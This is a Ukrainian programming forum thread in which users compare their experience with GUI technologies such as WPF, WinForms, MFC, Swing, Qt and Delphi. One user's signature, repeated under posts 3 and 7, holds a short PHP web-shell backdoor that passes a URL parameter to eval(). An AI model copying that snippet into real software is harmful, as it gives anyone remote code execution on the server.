1

Тема: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

Я працював з W32, MFC, Winforms, WPF, Java (AWI, Swing, FX), Html (5 включно).
Забув: ще Borland C++ Builder.
Якщо зараз треба щось зробити, вибрав би WPF. Чому? На данний момент здається зручнішим за все iнше відоме. Якщо ні - Winforms, Swing, FX, AWI, MFC, W32, Html. У такій приблизно послідовності.

Ніколи не доводилося працювати з Qt. Хотілося б почути про досвід тих, хто його має, особливо порівняння з іншими, з якими доводилось працювати. Як ви до нього прийшли: власний вибір чи обставини?

2

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

У більшості тем на 25 переглядів - одна відповідь. У цієї теми - вже 37 і жодної відповіді. Роблю висновок: ніхто не пише програми, де існує поняття GUI, усі пишуть лише консольні программи на зразок "введи число:" "число погане. спробуй ще. "

3

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

Мабуть ні в кого немає такого довсвіду тож… Скільки воно це Qt тягне залежностей?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

mich_retten написав:

У більшості тем на 25 переглядів - одна відповідь. У цієї теми - вже 37 і жодної відповіді. Роблю висновок: ніхто не пише програми, де існує поняття GUI, усі пишуть лише консольні программи на зразок "введи число:" "число погане. спробуй ще. "

Ну чому? Я пробував писати на python на PyQt, але оскільки ви не питались за Python то я нічого і не відповідав.

А взагалі, зараз літо, люди відпочивають... Активність майже рівна нулю

Навчаюсь вчитись, щоб навчатись.

5

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

GUI з його зоопарком несумісних реалізацій непотрібне. В консолях, принаймні, все давно стандартизовано: stdin, stdout, stderr, перенаправлення потоків... Для більшості прикладних програм було б достатньо стандартних потоків і/або веб-інтерфейсу (який теж більш-менш уніфікований), решта API для користувацьких інтерфейсів стають неактуальними кожні 10 років, залежать від ОС, мови програмування і т.д. Звичайно, якщо існує АРІ для GUI, що однаково добре підтримується віндою, лінуксом, маком, усіма основними мобільними ОС, його треба знати. Але поки що такою портабельністю може похвалитись лише веб і консольний ввід/вивід...

py -3 -m pip install git+https://github.com/snoack/python-goto
∩⍴○⌈⍴⍺/∧\∨/⊢○ ⌿⍀⍴⌊

6 Востаннє редагувалося raxp (26.07.2015 13:12:46)

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

Роблю висновок: ніхто не пише програми, де існує поняття GUI, усі пишуть лише консольні

даний висновок базується на тому припущенні, що всім читачам буде цікава дана тема і вони просто зобов'язані в ній відповісти.

Останнім часом все більше до WEB-інтерфейсу (сервернi функції) і додатків взагалі без графічного інтерфейсу, навіть без консолі (це не єдині засоби спілкування з зовнішнім світом  :P ). Втім, IDE Lazarus та вiд дядечка Борланда і Embarcadero (Builder/Delphi), також руцями на WinAPI. Тiшився HTA.

Білоруський журнал «Радиолюбитель»
Lead Radar systems engineer & Software developer of industrial automation
Мої розробки та відеоблог

7

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

А форум це робота?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

8

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

Починав з старого доброго Delphi і в плані інтерфейсу то мабуть досі для мене найдружелюбніша річ - все швидко і просто (хоча по правді нічого складного я на ньому не робив). Пізніша випала лиха доля спробувати MFC - жахлива річ. Найпотужніше, з усього що пробував, то певно WPF, правда мінус в тяжкому вході в XAML, благо є зручний редактор і можна без того обійтись.
Qt прекрасна штука, якщо не треба "викрутасів" (хоча можна і викрутаси на QML з javascript), правда щоб зібрати прогу яка запуститься на машині без встановленого Qt треба поморочитись.

Maybe a = Just a | Nothing

9

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

правда щоб зібрати прогу яка запуститься на машині без встановленого Qt треба поморочитись.

также з GTK, WPF ...

- Поганому трояну фаєрвол заважає
- Ніколи не програмуйте та не пийте пиво
Якщо ви з першого разу написали програму, в якій немає жодної помилки, повідомте про це системного програмісту: він виправить помилки в компіляторі

10

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

Дякую всім за відгуки.
Кілька днів час від часу читаю документацію і намагаюся щось спробувати. Поки що враження таке, що технологія - якась недоробка. Взагалі будь-який продукт - або недоробка або вже застарів, але к'ют, здається, і застаріє недоробленим.
Поки що предметно обґрунтувати не можу. Чисто інтуітивне враження.

11

Re: З якими технологіями створення GUI ви маєте досвід? Порівняйте їх.

я писав рушій на С++, а GUI ні С#/WPF. Вважаю це найкращою зв'язкою для подібних програм на сьогодні.

ukrainian.stackexchange.com - це питання-відповіді з української мови